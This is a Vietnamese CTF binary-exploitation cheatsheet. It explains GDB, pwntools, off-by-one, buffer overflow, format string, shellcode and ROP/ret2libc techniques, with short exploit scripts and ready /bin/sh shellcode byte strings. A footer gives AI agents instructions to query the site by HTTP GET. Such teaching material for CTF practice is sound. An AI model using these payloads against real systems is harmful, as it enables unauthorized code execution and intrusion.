# PWN

## 0. Nhập môn

{% hint style="info" %} <mark style="color:green;">**Trong IDA Pro:**</mark>

* Check các hàm, đổi tên các biến cho dễ đọc

<mark style="color:green;">**Trong GDB:**</mark>

* Kiểm tra chế độ bảo vệ: bằng câu lệnh <mark style="color:red;">`checksec`</mark> trong `gdb:`
  * Canary: Lỗi tràn bộ đệm (disabled)
  * NX (Non-Executable): Không được thực thi shellcode trong chương trình (enabled). Trong trường hợp NX disabled: execve("/bin//sh")
    * 32 bit: <mark style="color:red;">`\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x31\xDB\x31\xC9\x31\xD2\x89\xE3\x83\xC0\x0B\xCD\x80`</mark>
    * 64 bit: <mark style="color:red;">`\x48\x31\xFF\x57\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x48\x31\xF6\x48\x31\xD2\x48\x89\xE7\x48\x31\xC0\x48\x83\xC0\x3B\x0F\x05`</mark>
  * RELRO (RELocation Read-Only): Đặt bảng GOT (Global Offset Table) trước vùng nhớ BSS để phòng ngừa việc ghi đè GOT bằng việc ghi tràn bộ đệm của biến toàn cục (Partial); Khiến bảng GOT chỉ có thể đọc (read-only), không thể thực hiện ghi đè lên GOT 1 hàm hay 1 ROPgadget nào cả.
  * PIE (Position Independent Executable): Vùng nhớ code luôn không đổi địa chỉ. (disabled)
  * FORTIFY
* <mark style="color:red;">`start`</mark>: chạy chương trình và tạm dừng trước main, sau khi setup các thanh ghi và bộ nhớ xong.
* <mark style="color:red;">`r / c / n`</mark>: run or continue or next
* <mark style="color:red;">`pdis <tên hàm>`</mark>: hiện thị các lệnh có trong hàm đó
* <mark style="color:red;">`print <name_func>`</mark>: in địa chỉ gốc của func
* Thanh ghi RDI thường chứa tham số đầu tiên khi gọi hàm; RBP trỏ tới base của địa chỉ; RSP trỏ tới địa chỉ đầu tiên của stack; RIP trỏ tới địa chỉ tiếp theo được tới
* Lệnh <mark style="color:red;">`vmmap`</mark> - xem phạm vi địa chỉ ảo của các vùng nhớ **trong lúc chạy** chương trình và các quyền rwx tương ứng
* Lệnh <mark style="color:red;">`stack <số ngăn xếp>`</mark> - xem bao nhiêu ngăn xếp trong stack

<mark style="color:green;">**Trong python:**</mark>

* <mark style="color:red;">`pwntools`</mark> là 1 thư viện pwn dành cho python, dùng để kết nối remote server, send và nhận payload, và 1 số chức năng khác phục vụ cho quá trình khai thác, thường dùng để viết script khai thác lỗ hổng của chương trình chạy trên server sau khi đã tìm kiếm và phân tích xong lỗ hổng.

{% code overflow="wrap" %}

```python
from pwn import *
# hàm để chạy file trên local
r = process('./file')
gdb.attach(r)

# thực thi từ xa
r = remote('192.168.1.1',2132) # phần kết nối

payload
r.send() #gửi input đến cho chương trình nhưng không nhấn enter
r.sendline(payload) #gửi lên server
r.sendlineafter("aaa", payload) #gửi sau gì đó

r.recv() #trả về 1 string, là nội dung 1 dòng chương trình in ra
r.recvuntil("aaa") #trả về 1 string, là nội dung chương trình in ra cho đến khi gặp string tham số

r.interactive() # để tương tác với shell
# p64()/p32(): chuyển đổi 1 giá trị nguyên/hexa sang dạng string các kí tự ascii (cả in được lẫn không in được) gồm 8 bytes/4 bytes
```

{% endcode %}
{% endhint %}

## 1. Lỗi Off-by-one

{% hint style="danger" %}

* Lỗi này là lệch đi một byte
* Hàm <mark style="color:red;">`scanf("%64s", your_try)`</mark> - nhận giá trị nhập vào từ bàn phím cho đến các ký tự như dấu cách hoặc xuống dòng hoặc cho đến ký tự thứ 64 thì lưu giá trị vào biến trong tham số rồi thêm kí tự **NULL** `\x00` ở cuối để kết thúc chuỗi.
* mà biến kia chỉ được cấp phát 64 bytes, không đủ kí tự NULL ở cuối nên kí tự NULL ở cuối bị chèn sang byte đầu của mảng flag
* hàm so sánh strcmp so sánh 2 chuỗi. Chuỗi chỉ tính đến khi găọ kí tự NULL là kết thúc chuỗi.
  {% endhint %}

{% hint style="success" %}
Kịch bản:

* Nhập vào 1 chuỗi 64 bytes sao cho kí tự đầu tiên là NULL
* Điều kiện if sẽ so sánh 2 chuỗi NULL với nhau -> nó bằng nhau. -> Done
  {% endhint %}

```python
# code ví dụ thực thi:
from pwn import *

r = remote("00.00.00.00",0000)
r = process('./file')

payload = '\x00'*64 # có thể gửi luôn cả 64 bytes NULL
r.sendline(payload)

r.interactive()
```

## 2. Lỗi buffer overflow

{% hint style="danger" %}

* Đây là lỗi tràn bộ đệm
* Khi một tiến trình lưu dữ liệu vượt ra ngoài biên của một bộ nhớ đệm có chiều dài cố định.

-> nó dẫn đến ghi đè được các giá trị bên dưới bộ nhớ đệm đã cấp phát

-> sẽ điều khiển được vùng nhớ đó

* Stack overflow: tràn bộ đệm ở vùng nhớ stack
* Heap overflow: tràn bộ đệm ở vùng nhớ heap
* <mark style="color:red;">`gets()`</mark>: không giới hạn số lượng kí tự nhập vào nên ta sẽ ghi đè được vào vùng nhớ khác.
* kiểm tra xem vùng nhớ của biến nhập với vị trí so sánh cách nhau bn để chèn sau đó từng ấy giá trị thỏa mãn.
  {% endhint %}

```python
# code ví dụ thực thi:
from pwn import *

r = remote("00.00.00.00",0000)
r = process('./file')

payload = 'A' * size_find + p64(0xaffedddd)
# 
r.sendline(payload)

r.interactive()
```

## 3. Sơ lược về lệnh ret

{% hint style="danger" %}

* <mark style="color:red;">`ret`</mark>: lệnh return trong assembly
* Thực thi lệnh ở return addres, lệnh nằm ở địa chỉ trên cùng stack
* Thường được sử dụng khai thác lỗi stack overflow ở các bài toán cơ bản.

-> Kỹ thuật ROP (Return-oriented Programming)

Lưu ý:

-> phần này cũng giống như stack overflow

-> kiểm tra địa chỉ ret xem trỏ về đâu

-> rồi mk chèn để cho tới địa chỉ mình muốn

* nhớ check xem vùng nhớ nào có thể thực thi bằng câu lệnh: <mark style="color:red;">`vmmap`</mark>
  {% endhint %}

## 4. Sơ lược về shellcode

{% hint style="success" %}

* C -> Assembly -> Mã nhị phân máy tính (Binary)

Assembly -> Hex (Shellcode)

* Shellcode: mã máy thực thi 1 đoạn lệnh nào đó (thường sẽ là đoạn lệnh gọi <mark style="color:red;">`excve`</mark> <mark style="color:red;">`syscall`</mark> dùng để lấy shell)
* Khai thác bằng shellcode chỉ có tác dụng khi chế độ bảo mật **NX (no-execute)**: **disabled**.
  {% endhint %}

{% hint style="info" %}
Các bước khai thác như sau:

* Chạy thử và review code
* Debug và lên kịch b ản khai thác (Tìm hiểu về đoạn lệnh cần thực thi và viết shellcode)
* Viết chương trình khai thác lỗ hổng
  {% endhint %}

{% hint style="success" %}

* Lưu ý địa chỉ cần phải có quyền thực thi thì mới được thực thi
* Link chuyển đổi từ mã assembly sang shellcode: <https://defuse.ca/online-x86-assembler.htm>
  {% endhint %}

{% hint style="info" %}
Lệnh muốn thực thi:

* system("/bin/sh") - phần user code c
* execve("/bin/sh") - phần kernel - linux syscall

Link mô tả phần syscall: (linux syscall)

* 32bit: <https://syscalls32.paolostivanin.com/>
* 64bit: <https://syscalls64.paolostivanin.com/>
  {% endhint %}

{% hint style="info" %}
Câu lệnh thực thi gọi chính nó: nên ta viết shellcode chèn vào:

* ta cần phân tích câu lệnh cần chèn rồi phân tích code của câu lệnh đó.
* Lưu ý: 1 chương trình khi đọc chuỗi khi gặp kí tự NULL thì sẽ kết thúc quá trình đọc chuỗi -> Khi viết shellcode cần tránh byte NULL
  {% endhint %}

Ví dụ như ta viết câu lệnh này ở dạng 32bit:

<figure><img src="/files/VvP7gNf2caXHx8hoA5Mc" alt=""><figcaption></figcaption></figure>

* eax: 0x0b
* ebx: ??? -> "/bin/sh" (tham số 1):
  * push "/bin/sh" -> stack
  * esp (stack pointer) -> "/bin/sh"
  * Ta cần push \x00 vào trước để tránh trường hợp chương trình không ngắt chuỗi của ta.
  * Khi push chuỗi thì ta cần chuyển qua hex -> và sẽ đảo ngược chuỗi trước khi chuyển thành hex (chương trình đọc ngược lại)
* ecx: 0
* edx: 0

```python
 "/bin//sh".[::-1].encode().hex()
```

Hoặc vào đường link sau: <https://gchq.github.io/CyberChef/#recipe=Reverse('Character')To_Hex('None',0)>

```nasm
xor eax, eax
xor ecx, ecx
xor edx, edx
add eax, 0x0b
xor ebx, ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
int 0x80 ; syscall (đối với 64bit)
```

{% code overflow="wrap" %}

```
payload = "\x31\xC0\x31\xC9\x31\xD2\x83\xC0\x0B\x31\xDB\x53\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"
```

{% endcode %}

## 5. Lỗi format string

{% hint style="danger" %}

* Hàm yêu cầu có format string làm tham số thứ nhất, như hàm <mark style="color:red;">`printf()`</mark>
* Khi muốn in ra 1 chuỗi nào đó đã nhập, nhưng lại không có format string <mark style="color:red;">`"%s"`</mark> mà truyền trực tiếp địa chỉ của chuỗi vào: <mark style="color:red;">`printf(input)`</mark>. Lúc này, tham số thứ nhất là chuỗi input đã nhập, đóng vai trò là 1 format string.
  {% endhint %}

{% hint style="danger" %}
Ví dụ cách in ra an toàn:

* <mark style="color:green;">`printf("%s", input_str)`</mark>-> in ra chuỗi input (tham số đàu tiên sau format string.
* <mark style="color:red;">`printf("%s")`</mark> -> in ra 1 giá trị chuỗi nào đó tại tham số đầu tiên - địa chỉ thứ 1 (tính từ 0) trên stack (32bit)
* Để chỉ định tham số thứ mấy: Dùng <mark style="color:red;">`"$"`</mark>
* <mark style="color:red;">`printf("%30$s")`</mark> -> in ra giá trị chuỗi tại tham số thứ 30 - địa chỉ thứ 30 (tính từ 0) trên stack (32bit)
* <mark style="color:red;">`printf("%6$p")`</mark> -> in ra giá trị tại tham số thứ 6 (địa chỉ / giá trị) dưới dạng 0x? thập lục phân
* <mark style="color:red;">`printf("%6$x")`</mark> -> in ra giá trị tại tham số thứ 6 (địa chỉ / giá trị) dưới dạng thập lục phân (không có 0x)
  {% endhint %}

{% hint style="success" %}
-> Khai thác như sau:

1. Có thể tự do in ra 1 địa chỉ nào đó trong vùng nhớ (stack) của chương trình <mark style="color:red;">`("%6$x", "%22$p")`</mark>
2. Có thể tự do in ra 1 giá trị chuỗi kí tự nào đó tại một địa chỉ trong vùng nhớ của chương trình <mark style="color:red;">`("%30$s")`</mark>
3. Có thể thay đổi giá trị tại 1 địa chỉ nào đó đã biết trong chương trình <mark style="color:red;">`("%8$n", "%15$hn", "%16$hhn")`</mark>
   {% endhint %}

## 6. Kĩ thuật ret2shellcode

{% hint style="info" %}

* Đây là kĩ thuật sử dụng lệnh ret để thực thi shellcode một khi đã biết được địa chỉ chứa shellcode (NX disabled)
* Lỗi: Stack overflow, NX disabled, PIE disabled
  {% endhint %}

{% hint style="info" %}
Các bước:

* Tìm địa chỉ chứa shellcode mình đã nhập
* Stack overflow đến lệnh ret để chạy shellcode tại địa chỉ đó.
  {% endhint %}

{% hint style="info" %}
Vùng nhớ chuyên chứa các biến toàn cục (nơi có thể thực thi) là <mark style="color:red;">`bss`</mark>
{% endhint %}

<figure><img src="/files/UWa3FalyGArQHKt2v9Cm" alt=""><figcaption><p>Các vùng nhớ trên RAM</p></figcaption></figure>

{% tabs %}
{% tab title="Data segment" %}
Phần này đưuọc chia nhỏ ra làm 2 phần: vùng nhớ rằng (không thay đổi được giá trị hay còn gọi là vùng nhớ chỉ read only) và cùng nhớ chuyên lưu các biến toàn cục.

* <mark style="color:green;">**Vùng nhớ hằng**</mark> là cùng nhớ chỉ cho phép đọc và ghi vào lần đầu, sau đó giá trị được ghi sẽ tồn tại trong suốt chương trình mà không thể thay đổi giá trị. Nếu chúng ta cố tình thay đổi sẽ gây ra lỗi.

```c
// Ví dụ đầu tiên
char * chuoi = "Hello World"; -> Lưu vào vùng nhớ hằng
memcpy(chuoi, "Deviot");   -> Error
*chuoi = 'h';              -> Error 

// Ví dụ tiếp theo hoàn chỉnh hơn
#include <stdio.h>

const int x = 5;
const int mang[10] = {1,2,3,4,5,6,7,8,9,10};

int main()
{
   int x = 6;     // error
   mang[0] = 11;  // error
   return 0;
}
```

* <mark style="color:green;">**Initialized Data Segment**</mark> là vùng nhớ chuyên lưu trữ các biến toàn cục, các biến static đã được khai báo giá trị. Các biến trong vùng nhớ này có đặc điểm sẽ được tồn tại trong cả quá trình chương trình chạy và có thể đọc và ghi được.

```c
#include <stdio.h>

int x = 5;     //Initialized Data Segment
int mang[10] = {1,2,3,4,5,6,7,8,9,10}; //Initialized Data Segment

void count(void)
{
   static char cnt = 0;  // Initialized Data Segment
   cnt++;
}

int main()
{
   static int y = 1;  // Initialized Data Segment
   return 0;
}
```

{% endtab %}

{% tab title="Code segment" %}

* Nơi mà lưu trữ các mã lệnh đã được biên dịch của các chương trình máy tính, Những câu lệnh trong phân vùng này sẽ được chuyển đến CPU để xử lý khi cần thiết. Chỉ chịu sự chi phối của hệ điều hành, các tác nhân khác không thể can thiệp trực tiếp đến phân vùng này. Việc đưa các mã lệnh đã được biên dịch của chương trình lên phân vùng code segment là công việc đầu tiên mà hệ điều hành cần làm khi chúng ta chạy chương trình.
  {% endtab %}

{% tab title=".bss" %}

* Vùng nhớ Uninitialized Data Segment là vùng nhớ chuyên lưu trữ các biến toàn cục, các biến static chưa được khai báo giá trị.
* Các biến trong vùng này có đặc điểm sẽ được tồn tại trong cả quá trình chương trình chạy và có thể đọc và ghi được.

```c
#include <stdio.h>

int x;     // Uninitialized Data Segment
int mang[10]; // Uninitialized Data Segment

void count(void)
{
   static char cnt;  // Uninitialized Data Segment
   cnt++;
}

int main()
{
   static int y;  // Uninitialized Data Segment
   return 0;
}
```

{% endtab %}

{% tab title="Stack" %}

* Vùng nhớ này chuyên được cấp phát cho các viến cục bộ trong hàm. Có thể đọc ghi được nhưng sẽ chỉ tồn tại tại khi chương trình còn chạy, khi chương trình kết thúc sẽ tự động được giải phóng vùng nhớ.

{% code overflow="wrap" %}

```c
#include <stdio.h>

void count(void)
{
   char cnt = 0;  // Biến mất khi ra khỏi hàm
   cnt++;
}

int main()
{
   const int x = 5;   // stack, có thể thay đổi được giá trị thông qua con trỏ
   return 0;
}
```

{% endcode %}
{% endtab %}

{% tab title="Heap" %}

* Vùng nhớ được sử dụng để cấp phát bộ nhớ động. Đặc chưng cú pháp khi sử dụng cấp phát động trong ngôn ngữ C là từ khóa calloc, malloc,...
* Đặc điểm của vùng nhớ khi sử dụng cấp phát động là nó sẽ không tự mất đi trong quá trình chạy, và chúng ta phải tự giải phóng vùng nhớ này bằng từ khóa free. Nếu không giải phóng thì vùng nhớ này có thể bị đầy gây ra lỗi.
  {% endtab %}
  {% endtabs %}

{% hint style="success" %}
Hàm <mark style="color:red;">`strcpy()`</mark> -> copy strings và cả byte NULL, lưu ý cái địa chỉ đích phải đủ rộng để chứa. (nên ta nên tránh byte NULL ở shellcode).
{% endhint %}

```python
payload = shellcode + (size_betwwen - len(shellcode))*'\00' + p64(address_to_var_glo)
```

## 7. Kĩ thuật ROP và ret2libc

{% hint style="success" %}

* <mark style="color:green;">**ROP (Return-oriented programming)**</mark>: kĩ thuật sử dụng lệnh ret và các ROPgadget để điều khiển luồng thực thi của chương trình.
* ROPgadget: các câu lệnh assembly có trong file thực thi chứa lệnh ret ở cuối cùng (ví dụ "<mark style="color:red;">`pop rdi; ret`</mark>")
* <mark style="color:red;">`ROPgadget --binary <đường dẫn file thực thi>`</mark>
* <mark style="color:green;">**ret2libc**</mark>: kĩ thuật sử dụng lệnh ret để chạy hàm được định nghĩa trong file thư viện libc, ví dụ chạy <mark style="color:red;">`system("/bin/sh")`</mark> trực tiếp từ thư viện libc
  {% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viettaliii.gitbook.io/home/ctf/cheatsheet/pwn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
